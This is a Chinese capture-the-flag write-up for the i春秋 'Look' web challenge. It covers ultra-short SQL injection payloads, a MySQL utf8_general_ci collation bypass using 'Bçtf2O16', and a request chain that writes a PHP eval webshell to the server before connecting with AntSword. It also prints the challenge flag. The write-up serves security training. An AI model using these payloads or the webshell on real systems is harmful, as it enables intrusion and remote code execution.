当前位置: 首页 > article >正文

i春秋-Look(sql字符集、超短sql注入、写入shell)

练习平台地址

竞赛中心

题目描述

 题目内容

一片空白

F12检查

元素无信息

响应头中发现了提示

 尝试对verify参数进行sql注入

get传值有回显应该是get注入

尝试注入

提示verify long应该是太长了

更改payload(超短sql语句)

''*1

''&1

''%1

''=0

访问5211ec9dde53ee65bb02225117fba1e1.php

F12检查

元素无信息

 响应头中又发现了提示

 访问.viminfo配置文件(目录扫描也可以扫描到,可跳过前面步骤)

访问备份文件

代码分析

1.起初以为是宽字节注入%df%27,但是其中第一个if判断远程IP只是一个幌子无法伪造

2.接着看程序逻辑 需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串,结合题目提示的mysql字符集

MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 

绕过方式

使用ç=c 或者ô=o 

payload

?usern3me=Bçtf2O16

 

访问c3368f5eb5f8367fd548b228bee69ef2.php

代码分析

相关函数

file_put_contents:

将一个字符串写入文件中

<?php
$file = 'example.txt';
$data = '这是一些文本';
file_put_contents($file, $data);
?>

file_get_contents:

将整个文件的内容读入一个字符串中

<?php
echo file_get_contents("test.txt");
?>

功能分析

上个页面的usern3me的内容是我们可控的,我们可以直接写php代码,这样写的php代码就进入了我们给的文件,然后RCE就可以了

构造payload

?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[cmd]);?> 

蚁剑连接

 flag

flag{8d15ba42-bfcd-4587-b111-52fbca0494f8}

注意事项

在mysql字符集中,ç和c,ô和o是相等的 


http://www.kler.cn/a/403724.html

相关文章:

  • SpringBoot中设置超时30分钟自动删除元素的List和Map
  • 2021 年 3 月青少年软编等考 C 语言三级真题解析
  • 【国产MCU系列】-GD32F470-内部集成电路总线接口(I2C)
  • 音频信号采集前端电路分析
  • 7天掌握SQL - 第三天:MySQL实践与索引优化
  • 动态规划子数组系列一>等差数列划分
  • [毕业设计]最全计算机专业毕业设计选题推荐汇总(源码+论文)
  • 稳联技术通讯Modbus转 EtherNet IP 网关 在机场行李运输系统中的应用
  • 【前端】将nuxt.js项目部署到域名二级目录下
  • FPGA上板项目(五)——UART测试,串口发送
  • 中间件--laravel进阶篇
  • 网络安全、Web安全、渗透测试之笔经面经总结
  • 浏览器插件调试方法总结
  • Apple Vision Pro开发001-开发配置
  • 【java基础】消息中间件篇
  • Linux应用项目之量产工具(四)——UI系统
  • GPTZero:高效识别AI生成文本,保障学术诚信与内容原创性
  • leetcode-12-整数转罗马数字
  • 马铃薯叶部病害图像分类数据集
  • 【Swift】运算符
  • 小程序接入腾讯地图并使用(完整版带api示例)
  • 插入排序insertsort
  • YOLO入门教程(三)——训练自己YOLO11实例分割模型并预测【含教程源码+一键分类数据集 + 故障排查】
  • 通义千问综合代码能力测试:制作web版五子棋
  • MFC线程管理类
  • Python设计模式详解之4 —— 建造者模式